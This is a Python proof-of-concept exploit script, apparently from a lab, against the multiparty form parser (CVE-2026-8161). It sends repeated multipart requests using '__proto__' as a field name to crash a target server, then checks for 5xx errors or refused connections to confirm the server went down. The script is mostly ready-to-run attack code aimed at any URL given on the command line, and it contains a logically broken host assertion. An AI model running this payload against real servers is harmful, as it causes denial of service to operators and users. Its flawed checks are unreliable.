''' POC: Multiparty CVE-2026-8161 for mocklab Seron Athavan ''' import requests from urllib.parse import urlparse import argparse BOUNDARY = '----WebKitFormBoundaryoFXWxynGz2jDt5Im' class payload: web_url = None headers = { 'Host': 'localhost', 'Cache-Control': 'no-cache', 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': f'multipart/form-data; boundary={BOUNDARY}', 'Connection': 'close', } data = ( f'--{BOUNDARY}\r\n' f'Content-Disposition: form-data; name="__proto__"\r\n' f'\r\n' f'mrrp meowd\r\n' f'--{BOUNDARY}--\r\n' ).encode() def set_host(self, web_url): host = urlparse(web_url) host = host.hostname assert(host != None or len(host) == 0) self.headers["Host"] = host ############################################################################ ########################## Code Goes Here ################################## ############################################################################ def polluted(config: dict) -> bool: ''' Checks if the payload crashed the server. In multiparty <= 4.2.3, using __proto__ as a field name causes truthy confusion Object.prototype, causing a TypeError crash on the next field emit. A 5xx response or connection error indicates the server is down. Ref: https://nvd.nist.gov/vuln/detail/CVE-2026-8161 ''' web_url = config["web_url"] try: response = requests.get(web_url, timeout=5) if response.status_code in range(500, 600): return True except requests.exceptions.ConnectionError: return True # server crashed, connection refused return False def takedown(config: dict) -> bool: ''' Based on CVE-2026-8161 https://github.com/pillarjs/multiparty/issues/... Sends a multipart/form-data request with __proto__ as the field name. In multiparty <= 4.2.3 this causes collision with inherited properties. ''' web_url = config["web_url"] replica = config["replica"] atk = payload() atk.set_host(web_url) for dyno in range(replica): print(f"Sending request #{dyno}") response = requests.post(web_url, headers=atk.headers, data=atk.data, verify=False) print("status code:", response.status_code) took_down = polluted(config) return took_down #===================================================# #==================== DRIVERS ======================# #===================================================# config = { "web_url": None, "replica": None } if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-u", '--url', help="The form url to perform attack", default=None) parser.add_argument("-r", '--replica', help="Number of requests to send [Default = 1]", default=1, type=int) args = parser.parse_args() args = args.__dict__ url = args.get("url") replica = args.get("replica") if(url == None): parser.error("form submission url is required.") if(replica is None or replica < 1): parser.error("Need atleast 1 replica") config = { "web_url": url, "replica": replica, } took_down = takedown(config) msg = [ "Payload rejected or server patched. [FAIL]", "Collision payload accepted. [PASS]" ][took_down] print(msg) exit(0 if took_down else -1)